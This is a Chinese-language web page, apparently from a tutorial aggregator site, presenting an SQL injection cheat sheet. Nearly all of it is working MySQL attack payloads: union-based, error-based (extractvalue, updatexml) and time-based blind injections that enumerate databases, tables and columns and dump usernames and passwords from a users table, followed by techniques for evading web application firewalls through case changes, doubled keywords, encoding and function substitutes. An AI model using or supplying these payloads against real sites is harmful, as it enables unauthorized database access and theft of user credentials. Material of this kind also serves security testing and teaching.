当前位置:Gxlcms > 数据库问题 > SQL注入备忘录

SQL注入备忘录

时间:2021-07-01 10:21:17 帮助过:3人阅读

select group_concat(table_name) from information_schema.tables where table_schema=database() --+ 暴露表名 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=users --+ 暴露列名 union select 1,2,group_concat(username,password) from users--+ 暴露数据

 

报错注入

基于extractvalue函数

and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))) --+ 暴露数据库名

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 暴露表名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=users))) --+ 暴露列名

and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users))) --+  暴露数据

 

基于updatexml函数

and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) --+ 暴露表名

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),0) --+ 暴露列名

and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),0) --+ 暴露数据

 

 

延时盲注

 or if(length(database())=8,sleep(3),1) --+  数据库长度

or if(ord(mid(database(),1,1))=115,sleep(4),1) --+  数据库名

or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1) --+ 表的数量

or if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6,sleep(3),1) --+ 表的长度

or if(ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<150,sleep(5),1) --+ 第一个表名

or if((select count(column_name) from information_schema.columns where table_name=users)<10,sleep(5),1) --+ users表中列的数量

or if((select length(column_name) from information_schema.columns where table_name=users limit 0,1)<5,sleep(3),1) --+  列的长度

or if(ord(mid((select column_name from information_schema.columns where table_name=users limit 0,1),1,1))<150,sleep(2),1) --+ 列名

or if(ord(mid((select username from users limit 0,1),1,1))=68,sleep(3),1) --+  users表username列名中数据的内容

 

绕过WAF

可以尝试大小写绕过 、双写绕过,或者十六进制编码、URL编码绕过

过滤and  可以用&&  

过滤or     可以用 ||   

过滤空格  可以用 %20 %09 %0a %0b %0c %0d   /**/  /*!*/

功能相同函数

    hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()

 

 

 

 

 

 

 

SQL注入备忘录

标签:username   chm   weight   语句   format   col   类型   sch   读取   

人气教程排行